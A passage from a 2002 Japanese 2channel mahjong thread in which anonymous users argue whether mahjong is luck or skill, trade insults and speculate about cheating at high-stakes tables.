621 :焼き鳥名無しさん:02/07/13 05:01
ちっぱんは低レベル排除にも役立っているのか。
そりゃよかった。

622 :焼き鳥名無しさん:02/07/13 10:30
>>620
それは運のみだがそんなことはまれであろう

623 :cis ◆FZNa6Rqk:02/07/13 10:38
>>618
ワラタ
流局してチートイてんぱりつつ当たり牌だと
めちゃめちゃこれみよがしだよね。
なんかかわいく見えちゃう。

624 :焼き鳥名無しさん:02/07/13 10:41
>>623
チートイのみに頭ハネされたときは、かわいく見える?

625 :焼き鳥名無しさん:02/07/13 11:37
既出すぎるけど、運の要素が強いが実力で決まる部分もあり、
ほんの僅かながらそこで差がつく、といった感じだろう。
だから実力のゲームといって支障ない、と考える。

東風荘で言えば、常連の大体のRってずっと1900前半でいる奴とか、
2000以上をキープしてる奴、常に2100前後でいる奴とか、はっきり実力差は出てると思う。

とはいえ、将棋の濃密な一局を戦った後に麻雀をやると、ゲームとしての麻雀の
勝負に関してすごく虚しく感じることはある。麻雀自体は楽しいのだが・・・

626 :焼き鳥名無しさん:02/07/13 11:51
あと実力が同じぐらいならどんな競技も
運がすべてです

627 :焼き鳥名無しさん:02/07/13 13:14
>>625
既出って断るくらいなら発言するなよ。

628 :焼き鳥名無しさん:02/07/13 14:27
>>627
麻雀板なんて既出で成り立ってるようなものよ。

629 :焼き鳥名無しさん:02/07/13 14:34
>>627
いちいちそんなレスつけるな。

630 :焼き鳥名無しさん:02/07/13 15:02
>>629
 ∧_∧ 
( ´∀`)オマエモナー
ちなみにここはレスをつけた人をけなすスレになりました。

631 :焼き鳥名無しさん:02/07/13 15:11
>>630
AAずれてるよ(ププ

632 :焼き鳥名無しさん:02/07/13 23:54
>>631
そんなこと気にすんな

633 :焼き鳥名無しさん:02/07/13 23:57
4打ちに限っては運4割、実力6割だな。
3打ちに限っては運7割、実力3割だな。

634 :焼き鳥名無しさん:02/07/14 00:04
相手の待ち牌を読むのが実力。それ以外は運の要素もある。
麻雀はツモよりロンのほうが多いもの。
そう考えたら実力はかなり必要なものだと思うが・・・

635 : :02/07/14 00:27
フリーで久し振りにドラ単騎待ちリーチしたらだしてくれた
そういう面子だったYO〜

しかも俺、親 で二萬待ちで引っかけって感じで五萬捨ててある。
でもでないなぁと思ったのに・・・・・。

636 :焼き鳥名無しさん:02/07/14 00:41
スジなんて打たねぇよ。

637 :ちっぱん ◆pChnLpNk:02/07/14 00:43
単純に考えて、サンマのほうが運の要素は少ないよ。
牌種が少なく、情報の可視率が高い。
回転が速いから、同じ時間打てば実力どおりの結果に
なる可能性が、四人うちよりはるかに高い。

638 ::02/07/14 00:46
ふぅ

無意味な話し合いが繰り広げられてるなぁ・・・

運とか実力とか・・・

結局俺がなんて言おうと君たちは考えを変えないんだろ?
馬鹿ほど自分の曲がった価値観を変えようとしないからね・・・
無駄だから俺はもうなにもいわねーよ。疲れたよ

知ってる?馬鹿につける薬がないとは君たちの事いうんだよ。

639 :>>633:02/07/14 00:48
実力が運を上回るワケねーだろDQN

640 ::02/07/14 00:49
昔から才のある人間のいうことは異端とされるからなぁ・・・
ガリレオとかさぁ

今も昔もこいつら凡人は成長しねーなぁ

641 :焼き鳥名無しさん:02/07/14 01:13
うむ、昔は宗教的理由とかで間違った考えを
頑なに信じてる人がいたけど、現代では宗教的ではないものの、
大衆迎合的にそれを信じてるって感じだね。
つまり、真理を求めるより大多数と同じ考えを求める。
そして大多数は凡人であるから、間違った考えが
マジョリティとして形成され、マイナーな考えというだけで
間違いと決め付けられる。
これは現代の日本人に特に顕著な傾向だね。
真理を求めて論敵と自ら火花を散らすより、
多数派っぽい意見の陰で、誰か雄弁な者に
自分を投影して議論してるつもりになるという。
こういう考えがはびこるのも時代の流れなんだろうなあ。

642 :焼き鳥名無しさん:02/07/14 01:19
>>641
いい文章だね。
感動しますた。

643 :上等だね:02/07/14 01:23
同じ位の実力になったら、いつまで冷静に打っていられるかの勝負だと思う。
麻雀は、いかに早くあがるかを競うのだから、
冷静に河をみて相手に振らないようにしていれば、大きく負けることは無い。
少しでもあつくなったりすると、頭の回転が鈍くなって、普段の実力がでない。
冷静さが一番大切。

644 :焼き鳥名無しさん :02/07/14 01:25
思ったけど、発言してる人の麻雀のレベルが違うと
意見もかみ合わないんじゃないかな?

645 :焼き鳥名無しさん:02/07/14 01:27
結局1は何が言いたいんだ?

646 :焼き鳥名無しさん:02/07/14 01:45
>>645
1はお得意の論破がしたかっただけでしょう

647 :焼き鳥名無しさん:02/07/14 02:27
自動卓だと運も必要だけど手で積むやつだと
99%実力だよ。イカサマしたら絶対負けないもん。
イカサマもばればきゃ実力でしょ。
イカサマしないまでも自分の積んだ山ぐらい半分以上覚えてたら負けないよ。

648 :焼き鳥名無しさん:02/07/14 02:39
>>1
お前に運がないからヘボと言われるのなら、麻雀やめろ。
それだけのことじゃん。
ガタガタ抜かすな。ヘボ。

649 :   :02/07/14 03:00
マジレスすると相手に振り込まないのは実力だよ
先にリーチしても、相手に振り込んだら意味ないじゃん

650 :焼き鳥名無しさん:02/07/14 03:07
↑ほんとかよ?そりゃ実力もあるだろうけど、手の内にロン牌がなけりゃ
どうしたって振り込めないのに・・・それに立直しても振り込んだら意味ないってのも
短絡すぎない?

651 :焼き鳥名無しさん:02/07/14 04:11
時々にでてくる「イカサマ〜」って言ってる奴ウザイ。
黙ってマンガ読んでろ。

652 :焼き鳥名無しさん:02/07/14 05:09
649の深い意味に気付かない素人は去れ

653 :焼き鳥名無しさん:02/07/14 05:35
>652漏れはキヅイタYo!!

654 :焼き鳥名無しさん:02/07/14 06:05
俺もたまに言うが。 > イカサマ

別に洒落でもマンガでもない。
高レート→イカサマは、とても自然な事なんだよ。

655 :焼き鳥名無しさん:02/07/14 07:32
>>654
参考までに聞きたい 
具体的にどれぐらいの高レートになったらイカサマ師がでてくるの?

656 :焼き鳥名無しさん:02/07/14 09:25
>高レート→イカサマは、とても自然な事なんだよ。

(・,_ゝ・)プッ

657 :焼き鳥名無しさん:02/07/14 11:35
>>654
漫画の読みすぎ

658 :焼き鳥名無しさん:02/07/14 11:53
身の周りで893麻雀打って家まで無くした人がいますが何か?

659 :焼き鳥名無しさん:02/07/14 12:06
>>658
だから?

660 :焼き鳥名無しさん:02/07/14 12:43
>658
1000点=893円?

661 :焼き鳥名無しさん:02/07/14 12:53
>>660
ワロタ!
計算面倒くさいなぁ〜

662 :焼き鳥名無しさん:02/07/14 13:26
>具体的にどれぐらいの高レートになったらイカサマ師がでてくるの?

ピンで握りこんでた奴を1人見た。
それ以上は打った事がないので知らん。

が想像はできる。局ごと万単位の金が動くような麻雀では
他人がヒラで打ってくれる事など期待できない。

663 :焼き鳥名無しさん:02/07/14 13:35
>>662
漫画の読みすぎ2号

664 :焼き鳥名無しさん:02/07/14 14:59
まーな。今はそんなレートの卓が
そもそも存在しないかもな。

665 :焼き鳥名無しさん:02/07/14 15:42
>>664
自殺した人見ると考え変わるよ。

666 :麻雀は運じゃなくて実力だ:02/07/14 15:54
そう思ってるなら囲碁か将棋をやれ

667 :麻雀は実力じゃなくて運だ:02/07/14 15:54
そう思ってるならLOTO6かtotoをやれ

668 :焼き鳥名無しさん:02/07/14 16:46
高レート=いかさまって言う奴は漫画のみすぎに賛成
むしろいかさまは友達同士でふざけてやることのが多い
時々誰とも打ち合わせしてないのに『7色ローズ!』とか叫んだりしたりね

669 :焼き鳥名無しさん:02/07/14 17:56
1000点500円程度の麻雀ならよく観戦するんだけど、
誰もイカサマなんかしてないよ。単に金持ちってだけ。

670 :焼き鳥名無しさん:02/07/14 18:30
だ〜か〜ら。
指が少ない人たちの麻雀ですよ?
通しなんてバリバリですよ。

671 :焼き鳥名無しさん:02/07/14 18:34
>>670
通しなんていかさまの内にはいらん

672 :焼き鳥名無しさん:02/07/14 19:24
(゚Д゚)ハア?素人か?

673 :焼き鳥名無しさん:02/07/14 19:25
>>670
つーかあなたは指がないヒトですか?

通しなんてメンバー内ではそれなりに行われてます

674 :焼き鳥名無しさん:02/07/14 19:37
>671
馬鹿いってんな。自分以外の3人が通しやってたらどうやって戦うの?
あとギャラリーに通しなんてされたら勝ち目ねーぞ

675 :焼き鳥名無しさん:02/07/14 19:52
つーか高レート=ヤクザってのが、漫画の読みすぎ。

676 :焼き鳥名無しさん:02/07/14 20:05
どーでもいいけど、このスレは馬鹿の溜まり場なの?

677 :焼き鳥名無しさん:02/07/14 20:11
<<676そうなんじゃないか?一番馬鹿は1だけど...

678 :焼き鳥名無しさん:02/07/14 20:12
バカ度単調増加スレ

679 :焼き鳥名無しさん:02/07/14 21:01
>>676
オマエモナー

680 :焼き鳥名無しさん:02/07/14 21:04
>>674
かつ負けるの話じゃねーっての

681 :焼き鳥名無しさん:02/07/14 21:48
もしも半荘1回十万円の麻雀を打つとして、
何の不正も試みない奴が居るだろうか…

いるわけねーだろ。

682 :焼き鳥名無しさん:02/07/14 22:23
>>681
じゃあキミはレートがあがるとサマやるんだ?

683 :焼き鳥名無しさん:02/07/14 23:20
できることは全部やる。

684 :焼き鳥名無しさん:02/07/14 23:25
大手芸能事務所の社長とかは、ラスベガスなんかで数千万って金をばらまくのね。
別にイカサマやって一儲けなんてことじゃなくて、
純粋に「その程度の金は遊びの範囲」な人種が存在するわけ。
程度の差こそあれ、「高レート麻雀」ってのもそういう方々の遊びなんですよ。

685 :焼き鳥名無しさん:02/07/14 23:27
なんつーかね。金なんてものは黙ってても億単位で転がり込んでくるんだから、
麻雀でイカサマなんかやって神経すり減らす必要ないでしょ。

別に、「高レート麻雀」なんていうチンケな博打で小銭かせぐ必要ないんだから。

686 :焼き鳥名無しさん:02/07/14 23:27
>>683
なにもできないくせに偉そうだなぁ

687 :焼き鳥名無しさん:02/07/14 23:31
むしろ

>もしも半荘1回十万円の麻雀を打つとして、

誰でもイカサマやっちまうような激レートってのが
半荘1回十万かよ。
そのケツの穴の小ささにワロタ

688 :焼き鳥名無しさん:02/07/15 00:15
893は仕事ですから。

689 :焼き鳥名無しさん:02/07/15 00:25
漫画と現実の区別がつかないヤシがいるなぁ・・・

690 :焼き鳥名無しさん:02/07/15 00:47
>687
まあまあそんなこといわずにさ
きっと彼の月給は十万なんだよ

691 :焼き鳥名無しさん:02/07/15 02:15
みんな平和だな。1回10万の勝負にヒラで挑めるほどの
お金持ちなならそれもいいが。あいにく月給20万なのでな…

「麻雀やろうぜ。千点5千円でどうよ?」と言われたら
(ああ、こいつにはサマの準備があるんだな)と考える。
それが当たり前だと思っている。

692 :焼き鳥名無しさん:02/07/15 03:34
>>691

愛読書はなに?

693 :焼き鳥名無しさん:02/07/15 09:34
>>692
「車輪の下」

694 :焼き鳥名無しさん:02/07/15 15:58
>>691
バカじゃねーの?

つーかレートがあがるとサマでかつと思ってるあたりは漫画の読みすぎ

695 ::02/07/15 17:03
ヘタレばっかwwwwwwwwwwwwwwwwwwwwwwwww

696 :焼き鳥名無しさん:02/07/15 18:02
>>1が一番ヘタレ

697 :内緒:02/07/15 19:00
アタシは1本千〜五千円以上のサンマやってるけど、レベルはほとんど家庭マージャン。

698 :焼き鳥名無しさん:02/07/15 21:08
麻雀が運?ばっかじゃねえの。
そんならポーカーでもやってろ。
ぜってー安定して勝てないから

699 :焼き鳥名無しさん:02/07/15 21:45
>つーかレートがあがるとサマでかつと思ってるあたりは漫画の読みすぎ

博打にイカサマがつきまとう事実は、歴史が証明している。

プロの誰だかは1晩で1千万勝った記録があるそうだが、
俺に言わせれば、そんなデタラメなレートで正々堂々
打とうと思う奴の方が、よほどコミックだ。

もしも千点5千円のレートを受けてくれる阿呆がいるとしよう。
俺は打ち子を2人雇い、そいつと打つ。絶対に負けない。
で、レートがそれなら3人分の日給が出る。

700 :焼き鳥名無しさん:02/07/15 21:45
>>674
三対一で通しやられてもあんまり意味ねぇよ
もしも卓の下で変な動きしたら、そこで腕を掴めばいいんだし
実際通しで分かるのなんて、それぞれの街ぐらいなんだから
たいしたことない。差し込み合うこと程度しかできないだろ?
もっともそれで困ることに、ならないようサシウマは避けるけどね
しかも向こうの奴はマンガンつもっても、入るのは多くて4000点だぞ
それに比べこっちはそのまんま点になるわけだしね
後ろの奴が通したら?お前は後ろの奴に牌をみせるのか???

701 :焼き鳥名無しさん:02/07/15 21:50
書いてる傍からすげえのが居るな。>> 700

3対1なら積み込みもスリカエも通しもやらなくたって
負けやしねえよ。麻雀知ってんのか…
トップは毎回毎回、組んだ3人中から出るんだぜ?

702 :焼き鳥名無しさん:02/07/15 21:53
競馬だったらG1クラスで1レース3000万は5〜7人はいてる
それに比べれば麻雀なんてかわいいものだ

703 :焼き鳥名無しさん:02/07/15 21:53
>博打にイカサマがつきまとう事実は、歴史が証明している
あんた何時代のヒト?
昔の話してどーすんの?

704 :焼き鳥名無しさん:02/07/15 21:57
>プロの誰だかは1晩で1千万勝った記録があるそうだが、
>俺に言わせれば、そんなデタラメなレートで正々堂々
>打とうと思う奴の方が、よほどコミックだ。

そういう考えしかできねーやつは高レートに手だすな

705 :焼き鳥名無しさん:02/07/15 22:31
俺の事なら心配いらんよ。
勝てる算段が立たない限り、手を出さないから。

本当に手を出しちゃいけないのは、
そういう算段を立てようという思考回路を持たない、
他人がそういう算段を立てる可能性を疑ってかからない連中。

平和で、善良で、そしてあまり金持ちでもない、
つまり俺の発言に拒絶反応を示した連中だナ。
食われるだけだ。やめておけ。

706 :焼き鳥名無しさん:02/07/16 01:24
>実際通しで分かるのなんて、それぞれの街ぐらいなんだから

待ちぐらい、って「ぐらい」で片付けるなよ、それに待ち以前に手牌を教えれるんだから
ドラポンとか自由自在だし。山越しとかも出来るし。私は貴方みたいに三対一で
勝てるほど強くないんですよ。

707 :焼き鳥名無しさん:02/07/16 01:30
妄想でオナニーするスレはここですか?

708 :焼き鳥名無しさん:02/07/16 03:09
みんな彼を責めるな。
彼は純真な心の持ち主なんだよ・・・。
漫画や噂話を100%信じている。
現実を知らず、一部で行われていることがこの世の全てだと思っている。
また、間違いを指摘してくれる友人もいない。
暖かく彼が間違った方向に進むのを見守ろうよ。

709 :焼き鳥名無しさん:02/07/16 04:04
平和な事だ…。それはそれで幸せなのかもしれない。

が、落とし穴が案外そのへんに転がっている事もある。
俺よりタチの悪い奴が現実にいくらでもいるしな。ご用心。

じゃ、だいたい引いたようだし、もう消える。

710 :( ○ ´ ー ` ○ ) はバラシイ:02/07/16 06:40
赤木しげるみたいでかっこいいべ( ● ´ ー ` ● )

711 :焼き鳥名無しさん:02/07/16 06:43
きたろうの人?

712 :焼き鳥名無しさん:02/07/16 07:15
東風でR140落ちた。
やっぱゲームじゃ実力は関係無いんだな。
全国大会で五位に入ったことあるのに。
さてと麻雀大陸やろっと。

713 :   :02/07/16 07:18
おい>>1 聞いてるか
ポピュラーな両面待ちで上がり牌は8枚しかないんだぞ
他の3人が暗刻か対子で持ってて、
リーチ掛けたら、まず振りこんでてくれないぞ
バカのリーチ覚えはヘタクソな祥子

714 :焼き鳥名無しさん:02/07/16 07:29
>>712
まあ人集めるために、実際の麻雀より上がりやすいのは確か
東風荘は東南荘や麻雀大陸より牌が大きくて見やすい
テレホ時は人が多過ぎてつながりにくいのと重いのが嫌
でも東風荘だと3回に1回は優勝できるのが(・∀・)イイ!!
1日でR200も上がっちゃった
さてと東風荘やろっと。

715 :1:02/07/16 08:57
>713聞いてるよ

716 :焼き鳥名無しさん:02/07/16 09:23
>>705
誰も心配なんかしてねーっての
おまえなんかどーなってもかまわねーし。

高レートだから絶対勝つ算段がないとやらない?
まあ、麻雀を金稼ぎの物としかみてないやつにはそうなるだろうな。

717 :焼き鳥名無しさん:02/07/16 12:18
で、

結論はどっちなの?

運なのか実力なのか

718 :焼き鳥名無しさん:02/07/16 13:07
>>717
どうしてそう片方だけなのだ?

運と実力じゃダメなの?

719 :焼き鳥名無しさん:02/07/16 15:10
>>705を大勢で叩いているようだが、
あんたらさ、勝てるかも・・とか思って手だしちゃう様なやつらだろ?
その他大勢、一般大衆だよあんたら。漫画でもいるじゃん鴨役、それ。
嫌われ者だが慎重な705の勝ち。

720 :焼き鳥名無しさん:02/07/16 15:14
>>719
慎重じゃなくただの臆病。

つーか>>705を叩いてる連中だって怪しいと思えばいかねーよ

まあジサクジエンはやめとけよな

721 :焼き鳥名無しさん:02/07/16 15:21
>>719
レートが少しあがると手が縮こまっちゃうような人には一生理解できねーと思うよ

722 :焼き鳥名無しさん:02/07/16 15:48
>>719
彼が叩かれてるのイカサマが今の時代でも頻繁に
行われていると主張してるからだろ。
自分で体験したわけでもないのに
高レート = 893 = イカサマ だもの・・・。
ある意味笑える。

723 ::02/07/16 17:27
俺はお前等の阿呆さ加減のほうが笑えるんですけど
お前らのなかには一人も特別なやつなんていねぇよ
みんな パ ン ピ ー 
かもられるだけですよ。本当カキコ見てると笑えるんですけど
お前等のレヴェルのひくさがさ。まぁ麻雀板にそんなのもとめてもしかたないんだけどね(w

724 :焼き鳥名無しさん:02/07/16 17:38
>>723
何様のつもりか聞きたい

725 :焼き鳥名無しさん:02/07/16 17:50
自分が一番腐った人間のくせに妙にインテリぶって
長い文章で他の奴を煽る>>1はなんなのでしょう?

726 : :02/07/16 17:52
>>724-725図星つかれるとこれか?w

727 :1:02/07/16 17:53
何を言おうがおまえらはパンピー
この板の住民はみんなレベルが低すぎる。
俺ぐらいじゃねーの?マトモなやつはヨ

728 :焼き鳥名無しさん:02/07/16 17:54
>>726
どう図星なんだ?
阿呆とかレベル低いってコト?

729 :焼き鳥名無しさん:02/07/16 17:57
>>1がマトモかどうかは、とりあえずおいといて、
この板にマトモなコテハンっていると思う?

730 : :02/07/16 18:00
妄想オナニースレですねw

731 :焼き鳥名無しさん:02/07/16 18:23
>>691
>「麻雀やろうぜ。千点5千円でどうよ?」と言われたら
で、お前は実際に言われたことあるの?

俺は言われたことないんだけどさ、もし言われたとしたら。
言った奴が知り合い→冗談だなと思って適当に相手する
言った奴が知らない奴→そういうレートで遊べる身分の奴なんだなと思って断る

というかね、イカサマの準備があって「1000点5000円」を誘う奴なら、
相手から1000点5000円という言葉が出た時点で、すでに監禁状態にあるのが普通と思われ。
よって >>705 の心配は全く的外れなのでは?

732 :焼き鳥名無しさん:02/07/16 19:00
>>731
しょうがねーよ
奴は漫画の読みすぎで現実が見えてないからサ

733 :焼き鳥名無しさん:02/07/16 21:22
俺の主張はこう。
・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・そこではイカサマが日常化しているであろう。

反する主張はこう。
・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・そこでは全員がヒラッコで腕一本の勝負をしているであろう。

漫画の読みすぎはお前らの方だ…
人間は何千年も昔から、イカサマをやってきたの。
何千年後の未来にも、人類と博打がある限り、イカサマはあるの。
「今時イカサマなんてない」その思い込みに、根拠があるのか?

>よって >>705 の心配は全く的外れなのでは?

お前は心配いらないクチなのでよろしい。

734 :焼き鳥名無しさん:02/07/16 21:38
>>733
( ´,_ゝ`)プッ

735 :焼き鳥名無しさん:02/07/16 21:54
>>733
どうしてそう偏った考えしか出来ないの?

>そこでは全員がヒラッコで腕一本の勝負をしているであろう
目を覆うほど馬鹿な解釈ですね。

いい加減粘着でジサクジエンはやめれ

736 :焼き鳥名無しさん:02/07/16 22:08
んー? じゃあお前らの主張はこうか?

・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・その中にはヒラッコの卓もあるがサマ師のいる卓もあるであろう。
(おそらくは)・ヒラの卓の方が多いであろう。

どうでもいい主張だな。2番目まではまぁ飲める。
3番は不自然だが、まぁ勘定した訳でもないし反証はできん。
ただ、高レートには必ずサマ師が居ると前提する事をオススメする。

ところで何度か自作自演の指摘があったが、全部ハズレ。

737 :焼き鳥名無しさん:02/07/16 22:57
>>736
俺の主張はさ、

俺らが高レートだと思ってる卓で気楽に遊べるような金持ちが日本にはたくさんいる。

それだけだ。

俺ら、点5や点ピンで打つとき、腕一本とかイカサマとか考えないだろ?
そもそも別に『真剣勝負』しに行ってるわけでもなし。遊びだよ遊び。

みんな同じ。あとは、人によって金銭感覚が違うだけ。

738 :焼き鳥名無しさん:02/07/16 23:02
つーか、俺がサマ師だったら2ちゃんねら雀士なんか相手にしないよ。
金ってのは、持ってる奴から巻き上げるもんだ。

739 :焼き鳥名無しさん:02/07/17 00:19
>俺らが高レートだと思ってる卓で気楽に遊べるような金持ちが日本にはたくさんいる。

少数とは思うが、居るんだろうと思う。

>つーか、俺がサマ師だったら2ちゃんねら雀士なんか相手にしないよ。

そうだろうな。お遊びで高レートを打つお大尽に、接近を図るだろう。
結果、サマ師は高レート卓にお邪魔するじゃないか。
ヒラで打ってるフリしてな。

740 :焼き鳥名無しさん:02/07/17 01:30
>>739
どんなサマするよ??
スリ変えか?
ブッコ抜きか?
どの程度を高レートと思ってるのか知らないが、
それこそデカウーピンくらいで遊んでるオジサマ達相手に
ツモすり変えみたいな類が限度でしょo

741 :上等だね:02/07/17 01:33
>>740
ぶっこ抜きとか、通しとかじゃないの?やっぱ。
裏ドラすり替えもでかい!!(チップあるならね)

742 :焼き鳥名無しさん:02/07/17 01:41
>>741
ぶっこ抜きは自動卓でやるにはほぼメリットなしo
通し?視線が必ず浮くので高レートでは危険oチクローズなんて論外o
裏ドラすり替えくらいはいけそう!!

743 :焼き鳥名無しさん:02/07/17 17:04
てかぶっこ抜きに関してはメリットがない上にばればれ

744 ::02/07/17 22:59
論破された奴等の会話はいつだってこっけいだなW

745 ::02/07/17 23:00
もう格付けはすんじまったからな(w

746 ::02/07/17 23:32
ahya

747 :1:02/07/17 23:35
uhya

748 :焼き鳥名無しさん:02/07/18 00:00
1,2ヶ月前だったか、近代麻雀何だったかで1ページもののコラムに、
高レート雀士の取材記事が載ってた。主に行われているイカサマは
2人で組んでの手牌スリカエだという。

おそらくは5〜6巡目くらいに、手の来てる方の不要牌と
来てない方の有効牌を取り替えるのだろう。

卓上、2人の手牌以外にインパクトを与えない点と、現場を押さえ
られ得るタイミングが、1局の間に1秒内外であろう点で優れている。

749 :焼き鳥名無しさん:02/07/18 00:01
つうても竹書房の記事だから、真偽は知らん。

750 :焼き鳥名無しさん:02/07/18 11:35
うざい

751 :焼き鳥名無しさん:02/07/18 11:52
>ただ、高レートには必ずサマ師が居ると前提する事をオススメする。

( ´_ゝ`)プ
おまえは体験したのかよ
偉そうに言うけどどうせそれらがこわくてテンゴの雀荘すら入れないんだろ

752 :1:02/07/18 13:17
人を煽ることでしか自分の存在を証明できない君達には(・∀・)ワロタ

753 :焼き鳥名無しさん:02/07/18 13:52
>>752
そりゃおまえやんけ

754 :焼き鳥名無しさん:02/07/18 16:19
「麻雀って実力関係あんの?」ってスレ自体はいいと思うんだが…やらない人はそう思ってる人多いし。
ただ1がアホな負け犬なことがこのスレ最大の失敗
>>753の言う通り>>1見ろ

755 :焼き鳥名無しさん:02/07/18 16:22
パチンコ業界人が質問に答えてくれる。結構面白い。

http://www8.plala.or.jp/nasuka/rumsses.htm

756 :焼き鳥名無しさん:02/07/18 16:59
レートと実力って比例する?

757 :1:02/07/18 17:01
何をいってるんだか…

俺ほど完璧な存在はいねーヨ!

758 :焼き鳥名無しさん:02/07/18 17:50
リーのみ辺張待ちで親のリーチに挑んでいくような輩に、
ボコボコにされちまった。
読もうなんて考えを持ってしまったら、
素人には勝てる気がしない。

759 :焼き鳥名無しさん:02/07/18 19:46
>ところで何度か自作自演の指摘があったが、全部ハズレ。
ジサクジエンをやるヤシは必ずこういうことを言う

そもそも全部ってなんやねん…

760 :焼き鳥名無しさん:02/07/18 21:01
このスレタイけっこう有名だぞ(・∀・)
いろんな板でつかわれてる!!
http://ex.2ch.net/test/read.cgi/pachi/1026965985/l50

761 :焼き鳥名無しさん:02/07/18 21:03
ここでも(・∀・)ハケーン
http://game.2ch.net/test/read.cgi/gal/1026966652/l50

762 :焼き鳥名無しさん:02/07/18 21:10
>>761
意味わからんけど
なんかワラタ
ギャルゲー板でそんなこといってもなって感じ

763 :焼き鳥名無しさん:02/07/18 21:36
>偉そうに言うけどどうせそれらがこわくてテンゴの雀荘すら入れないんだろ

点5のサマ師か。それは怖いな。壊れてるよ。

が、雀荘自体は今じゃゲーセンと同じだ。
レート安いもん。

764 :焼き鳥名無しさん:02/07/18 22:14
まあまあ、麻雀なんてパチンコや競馬と同じギャンブルなんだから負けてもそんなにムキにならずに

765 :焼き鳥名無しさん:02/07/18 22:59
なぁんだ、ネタスレかよ。そう思うと笑えちゃうね

766 :焼き鳥名無しさん:02/07/18 23:20
運が7、実力が3ということにしとこやないか〜

767 :sai:02/07/18 23:29
新感覚のポータルコミュニティサイトが遂に出来ました!!
今までの出会い系サイトとは一味もニ味も違うサイトです。バーチャルタウンを実際に体験できます!!!
詳しくは下記UELをクリックして、確かめて!!
http://www.e-mansion.co.jp/co/ac.html

768 :焼き鳥名無しさん:02/07/18 23:32
>766
そんな単純なもんでもない

769 :焼き鳥名無しさん:02/07/19 02:36
>>768
いや、そんなもんだろ。

770 :焼き鳥名無しさん:02/07/19 05:21
>>1
麻雀ゲームでしかした事ないヤツだろ?
1年以上やって「麻雀に実力無い」なんて言えるヤツ一人も居ないぞ。
妄想なら一人でやれな。
オナって寝ろ。

771 :焼き鳥名無しさん:02/07/19 05:33
麻雀=ギャンブルといってる時点で負け組み

772 :焼き鳥名無しさん:02/07/19 05:37
この板のカテゴリみろ馬鹿

773 :焼き鳥名無しさん:02/07/19 11:07
ほとんど、運じゃない?
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
社会的成功者とかあるけどさぁ運がよかった人たちの事じゃないの?
1みたいなクズだろうがなんだろうが金持ちの家に生まれるか宝くじでも当たりゃ
貧乏人たちはなにも言わせないよね。
君タチにはワロタ(・∀・)

774 :焼き鳥名無しさん:02/07/19 11:33
帝京大総長の弟が経・法でも口利き、過去3億所得隠し
http://headlines.yahoo.co.jp/hl?a=20020717-00000101-yom-soci


帝京大学を廃学にしよう
http://school.2ch.net/test/read.cgi/campus/1026885595/

◆C14FUkYEは脳内保線中 低狂大スレpart3
http://school.2ch.net/test/read.cgi/campus/1025989112/

帝京大学の過去の犯罪特集・1
http://choco.2ch.net/news/kako/1015/10154/1015445145.html

775 :焼き鳥名無しさん:02/07/19 12:08
帝京はもうだめか

776 :焼き鳥名無しさん:02/07/20 21:48
提供はこえからだろ

777 :焼き鳥名無しさん:02/07/21 00:16
ほとんど、運じゃない?
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
プロゴルファーとかいるけどさぁ運がよかった人たちの事じゃないの?
ド素人だろうがなんだろうが運良くホールインワンとか連続ででれば
タイガーウッズとかだって惨敗だよね。
君タチにはワロタ(・∀・)

778 :焼き鳥名無しさん:02/07/21 01:26
つうか
麻雀に実力って関係あんの?
の時点でなんかおかしくないか・・・・・・
実力というものが存在してるだけで関係はあるぞ・・・・・・

779 :焼き鳥名無しさん:02/07/21 01:33
お前ら、半荘10回やって、一回たりともミスしなかったなんて日あんのか?
ちなみに俺はない。何らかのミスをしている(結果論としてのという意味ではないぞ)。
従って俺にとっては麻雀は実力100パーセントだ。

780 :焼き鳥名無しさん:02/07/21 01:35
背理法で証明

麻雀に実力はないと仮定する

続きはまた今度

781 :焼き鳥名無しさん:02/07/21 01:50
すると無作為に適当な一枚を切り聴牌を確認もせずにリーチをかける者と
役を作ろうと牌を確率的に能率のいい打ち方をする者との間に
成績の差はないことになる

782 :焼き鳥名無しさん:02/07/21 02:01
>777
だからよー、ゴルフは運でどうこうつーもんじゃないだろ。俺なんかやった事
ないからまともに飛ばす事も出来ねーと思う。大体パー3全部ホールインワンで
片付けたって、パー4・5はどうするのよ?

783 :焼き鳥名無しさん:02/07/21 02:05
>>782
そんなあなたが大好きです

784 :焼き鳥名無しさん:02/07/21 02:24
>>782
飛ばせるようになれば運じゃん

785 :焼き鳥名無しさん:02/07/21 16:09
俺が勝てば実力負ければ運

786 :焼き鳥名無しさん:02/07/21 16:21
>>785
真理だ。

787 :焼き鳥名無しさん:02/07/21 17:23
俺が勝てば運負ければ実力

788 :焼き鳥名無しさん:02/07/21 17:30
>>787
卑屈なやつだ

789 :焼き鳥名無しさん:02/07/21 18:18
運                                   こ

790 :焼き鳥名無しさん:02/07/21 18:20
>>789
hagesikudoui

791 :焼き鳥名無しさん:02/07/23 00:22
運があれば勝てるなら、今のマーシー田代でも勝てまつか?

792 :焼き鳥名無しさん:02/07/23 00:34
このあいだうまいのと強いのは違うといわれたのですがよくわかりませんでした
どういうことですか?

793 :焼き烏名無しさん:02/07/23 02:29
>792 麻雀なんて調子が良いときは誰が打っても勝てる
   調子が悪いときにいかにしのぐことができるかが腕の差だと思う
   上手いというのはしのぎの技術ではないかと
    強いというのは引きの良さなど要所での引き勝ち等の運の強い人
   いかに自分のペースを保てる人ではないかと
         こんな感じでいかが?あくまで個人的な意見ですが

794 :焼き鳥名無しさん:02/07/23 02:43
>>792
雀鬼流の人が良く使う言い回し。
上手いというのは、小手先の技術でのらりくらりと躱したり
降りたりしても勝ちを拾っていくような人。(どちらかと守備型?)
強い人とは、自分の打ち方を曲げず降りるような事をしない
受けをしかっり持ち、前に向かっていくような姿勢(攻撃型?)

昔、雀鬼流の人に上手いと強いは違う、俺は強い打ち手になりたいと言われた
詳しくは聞かなかったが、自分はその人と何度か打って上のように解釈した。

795 ::02/07/23 20:09
雀鬼流って何なの?
こんな運試しゲームで流派とか作っちゃってるわけ?
これはもう驚きを通り越して哀れだね。プ
きっと群れて強くなった気になってるんだろうね。
それに雀鬼って。すごいネーミングセンスだね。プ
でも考えてみれば、君たちみたいな馬鹿でちっぽけな人達が
自分を拡大投影する対象にはちょうどいいかもね。
不良に憧れる中学生のようにさ。ププ
とにかく君タチにはワロタ(・∀・)

796 :焼き鳥名無しさん:02/07/23 20:20
麻雀奥が深い、とゆーより、奥がない!
